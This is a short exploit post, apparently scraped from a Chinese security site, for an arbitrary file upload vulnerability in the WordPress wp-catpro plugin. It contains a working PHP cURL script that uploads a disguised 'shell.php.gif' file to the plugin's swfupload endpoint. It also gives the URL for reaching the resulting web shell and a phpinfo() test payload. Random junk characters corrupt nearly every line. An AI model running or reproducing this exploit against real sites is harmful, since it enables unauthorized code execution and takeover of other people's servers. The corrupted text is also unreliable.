Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
* S6 \1 E& H: g#-----------------------------------------------------------------------/ y& a4 J2 N4 V- a- J6 p) f
& G8 A5 `0 Y3 C! E% _: ] o* E
作者 => Zikou-16) C9 ~! q: q" R; ^% F2 A
邮箱 => zikou16x@gmail.com
1 ?3 m+ p- Z6 `' d6 @. E测试系统 : Windows 7 , Backtrack 5r3# I2 U, \0 j2 \1 R
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip+ N3 ^0 T: C, o4 J5 `: y: O
####
& k: @8 r; @; m& F ! Z- f; ]3 Y# u6 Z
#=> Exploit 信息:2 D2 G2 c" |/ J* |7 E
------------------' i2 _6 u' J/ z5 G: W" i. F
# 攻击者可以上传 file/shell.php.gif$ g: T) z* H) v/ o3 ^1 r
# ("jpg", "gif", "png") // Allowed file extensions, e2 d+ }* l6 m; `! z' C8 ^
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
: d4 O; C) b, m6 w, I# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
& x( n6 T& X! p) m/ Z' M; C0 D1 m------------------
# ~7 ?( V8 m E# P ' ^" B% l: u' }6 M2 ~' O: o
#=> Exploit
( |2 t: L' w7 i2 q( k-----------
% Y$ e+ z& s1 v5 p6 [% S<?php2 Z5 v+ h+ x% _
; |: F3 B/ f/ O& J# ?& k# R1 @8 ]; K
$uploadfile="zik.php.gif";
, |: e1 d H# {$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");+ B S! w+ r: o$ ? ]) R5 H
curl_setopt($ch, CURLOPT_POST, true);& Y. c) @) C5 ^2 u( f/ [4 ]5 y. h6 n
curl_setopt($ch, CURLOPT_POSTFIELDS,9 A0 f7 y0 w! O8 ^
array('Filedata'=>"@$uploadfile",
1 Q. m g- g j8 X'folder'=>'/wp-content/uploads/catpro/'));
" n2 j) Z# q; W8 p" A6 E# u. _' mcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);# j6 U a* {" L3 J7 x7 i
$postResult = curl_exec($ch);
8 l+ G& M6 D8 L0 P6 A. j6 Kcurl_close($ch);
* E6 O8 A/ ]& Y2 O " G. l$ b' Y) K2 V
print "$postResult";7 h7 {7 o) e4 W: S7 X% G
. M1 Y) O# R! @% j" G( L/ ?' n
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif' i" S6 C: G/ r) |! R9 x1 e8 r
?>
! S' m) r) y# M9 s# c<?php& D) R& P2 w7 j8 ?* a- V
phpinfo();. F% [- o) i- M! w( g2 F/ _6 \
?> |